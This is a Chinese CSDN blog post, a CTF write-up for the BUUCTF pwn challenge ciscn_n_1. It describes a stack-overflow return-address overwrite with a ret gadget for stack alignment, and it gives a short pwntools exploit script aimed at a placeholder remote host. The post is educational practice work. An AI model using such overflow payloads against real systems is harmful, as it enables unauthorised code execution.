buuctf pwn ciscn_n_1 另一种解法

本文详细介绍了如何通过栈溢出覆盖返回地址,从而调用system函数读取flag。作者首先使用ida分析程序,确定system调用的地址,然后考虑到Ubuntu18环境下地址需要16bit对齐,故在payload中插入额外的ret指令地址。最终,通过python脚本构造payload并发送,成功实现远程交互。
摘要由CSDN通过智能技术生成

 做这道题时,搜到网上的解法都是利用溢出覆盖变量的值。这里使用一般的方法,利用栈溢出覆盖返回地址。

 首先查看ida,看到system(“cat /flag”)。ida中显示的代码
 那么思路就是,从gets溢出,把返回地址改为调用system的地址。

 在linux下,使用如下命令,生成ciscn.s。

objdump -S ciscn_2019_n_1 > ciscn.s

 查看ciscn.s,找到system调用处。图中第一行设置参数,所以要跳转的地址是第一行地址0x4006be。
打个广告,下图高亮使用了AT&T语法高亮插件,vscode插件商店搜索“att”即可安装
ciscn.s片段
 另外,远程实验环境为Ubuntu18,函数调用地址需要16bit对齐,所以不能直接把返回地址设为0x4006be,要先返回到一个ret,再返回到system调用。(ret的地址选择了main函数中的ret,同样从ciscn.s中找)
栈中数据
 代码如下:

from pwn import *

context(os='linux', log_level='debug', arch='amd64')

r = remote("ip","port")

r.recvuntil("number.\n")
payload = b"a" * 48 + p64(0x40072c) + p64(0x4006be)
r.send(payload)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值